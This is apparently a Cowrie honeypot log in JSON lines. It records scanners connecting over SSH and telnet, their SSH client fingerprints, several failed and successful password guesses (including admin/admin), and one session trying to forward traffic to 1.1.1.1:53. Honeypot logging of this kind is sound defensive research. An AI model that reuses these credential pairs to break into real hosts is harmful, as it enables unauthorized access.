{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:25:22.589332Z","src_ip":"87.251.64.176","session":"f335d79883cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:25:22.685586Z","src_ip":"87.251.64.176","session":"f335d79883cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:25:23.176840Z","src_ip":"72.17.34.38","session":"e2ca8210f0f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":52824,"dst_ip":"159.203.135.109","dst_port":23,"session":"503c337ac222","protocol":"telnet","message":"New connection: 107.6.151.170:52824 (159.203.135.109:23) [session: 503c337ac222]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:25:30.253518Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":40870,"dst_ip":"159.203.135.109","dst_port":23,"session":"afbdb600d8ff","protocol":"telnet","message":"New connection: 128.199.8.54:40870 (159.203.135.109:23) [session: afbdb600d8ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:25:46.564939Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":44894,"dst_ip":"10.17.0.5","dst_port":22,"session":"757a9504ebb4","protocol":"ssh","message":"New connection: 194.113.233.25:44894 (10.17.0.5:22) [session: 757a9504ebb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:25:57.368117Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:25:57.371809Z","src_ip":"194.113.233.25","session":"757a9504ebb4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:25:57.464927Z","src_ip":"194.113.233.25","session":"757a9504ebb4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":27.273959159851074,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:25:57.527332Z","src_ip":"107.6.151.170","session":"503c337ac222","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"05111985","message":"login attempt [root/05111985] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:25:57.747366Z","src_ip":"194.113.233.25","session":"757a9504ebb4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:25:58.842925Z","src_ip":"194.113.233.25","session":"757a9504ebb4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"39.105.205.153","src_port":38246,"dst_ip":"159.203.135.109","dst_port":22,"session":"57cddf8e3344","protocol":"ssh","message":"New connection: 39.105.205.153:38246 (159.203.135.109:22) [session: 57cddf8e3344]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:26:26.385307Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:26:26.401638Z","src_ip":"39.105.205.153","session":"57cddf8e3344","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"207.175.78.178","src_port":4594,"dst_ip":"159.203.135.109","dst_port":22,"session":"2b06929305ed","protocol":"ssh","message":"New connection: 207.175.78.178:4594 (159.203.135.109:22) [session: 2b06929305ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:26:35.555336Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Fingerprintx-SSH2","message":"Remote SSH version: SSH-2.0-Fingerprintx-SSH2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:26:35.659889Z","src_ip":"207.175.78.178","session":"2b06929305ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"207.175.78.178","src_port":4608,"dst_ip":"159.203.135.109","dst_port":22,"session":"8f3fe1ff6a73","protocol":"ssh","message":"New connection: 207.175.78.178:4608 (159.203.135.109:22) [session: 8f3fe1ff6a73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:26:35.868594Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:26:35.897476Z","src_ip":"207.175.78.178","session":"8f3fe1ff6a73","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"dde267e50f82fcc16a7e1e7b59b8af71","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256@libssh.org,curve25519-sha256,ext-info-c;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256@libssh.org","curve25519-sha256","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: dde267e50f82fcc16a7e1e7b59b8af71","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:26:35.977465Z","src_ip":"207.175.78.178","session":"8f3fe1ff6a73","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:26:37.560878Z","src_ip":"207.175.78.178","session":"8f3fe1ff6a73","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4e066189c3bbeec38c99b1855113733a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 4e066189c3bbeec38c99b1855113733a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:26:37.642540Z","src_ip":"207.175.78.178","session":"2b06929305ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:26:37.650145Z","src_ip":"207.175.78.178","session":"8f3fe1ff6a73","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":42004,"dst_ip":"10.17.0.5","dst_port":23,"session":"0bde8a0c519d","protocol":"telnet","message":"New connection: 94.23.66.112:42004 (10.17.0.5:23) [session: 0bde8a0c519d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:26:38.357010Z"}
{"eventid":"cowrie.session.closed","duration":0.004629611968994141,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:26:38.361518Z","src_ip":"94.23.66.112","session":"0bde8a0c519d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"5.0","message":"Connection lost after 5.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:26:40.587340Z","src_ip":"207.175.78.178","session":"2b06929305ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":55270,"dst_ip":"159.203.135.109","dst_port":22,"session":"dae67db3a375","protocol":"ssh","message":"New connection: 193.37.70.224:55270 (159.203.135.109:22) [session: dae67db3a375]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:26:41.160483Z"}
{"eventid":"cowrie.session.closed","duration":55.02571702003479,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:26:41.590512Z","src_ip":"128.199.8.54","session":"afbdb600d8ff","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:26:41.776108Z","src_ip":"193.37.70.224","session":"dae67db3a375","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:26:41.780289Z","src_ip":"193.37.70.224","session":"dae67db3a375","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:26:43.489784Z","src_ip":"193.37.70.224","session":"dae67db3a375","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:26:44.732778Z","src_ip":"193.37.70.224","session":"dae67db3a375","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.17.34.38","src_port":39528,"dst_ip":"10.17.0.5","dst_port":22,"session":"5dc4b0a43342","protocol":"ssh","message":"New connection: 72.17.34.38:39528 (10.17.0.5:22) [session: 5dc4b0a43342]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:27:17.019771Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:27:17.023780Z","src_ip":"72.17.34.38","session":"5dc4b0a43342","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:27:17.057612Z","src_ip":"72.17.34.38","session":"5dc4b0a43342","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"matthew","password":"matthew","message":"login attempt [matthew/matthew] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:27:17.230469Z","src_ip":"72.17.34.38","session":"5dc4b0a43342","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:27:18.267626Z","src_ip":"72.17.34.38","session":"5dc4b0a43342","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":52102,"dst_ip":"10.17.0.5","dst_port":22,"session":"c9e47641194a","protocol":"ssh","message":"New connection: 103.27.238.116:52102 (10.17.0.5:22) [session: c9e47641194a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:27:20.236363Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:27:20.240192Z","src_ip":"103.27.238.116","session":"c9e47641194a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:27:20.509355Z","src_ip":"103.27.238.116","session":"c9e47641194a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":46520,"dst_ip":"10.17.0.5","dst_port":22,"session":"3e01c7516df3","protocol":"ssh","message":"New connection: 87.251.64.176:46520 (10.17.0.5:22) [session: 3e01c7516df3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:27:20.793797Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:27:20.797747Z","src_ip":"87.251.64.176","session":"3e01c7516df3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:27:20.891816Z","src_ip":"87.251.64.176","session":"3e01c7516df3","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:27:21.174559Z","src_ip":"87.251.64.176","session":"3e01c7516df3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:27:21.270015Z","session":"3e01c7516df3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zxcvbnm8","message":"login attempt [root/zxcvbnm8] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:27:21.319926Z","src_ip":"103.27.238.116","session":"c9e47641194a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:27:21.364573Z","src_ip":"87.251.64.176","session":"3e01c7516df3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:27:21.460371Z","src_ip":"87.251.64.176","session":"3e01c7516df3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:27:22.592757Z","src_ip":"103.27.238.116","session":"c9e47641194a","protocol":"ssh"}
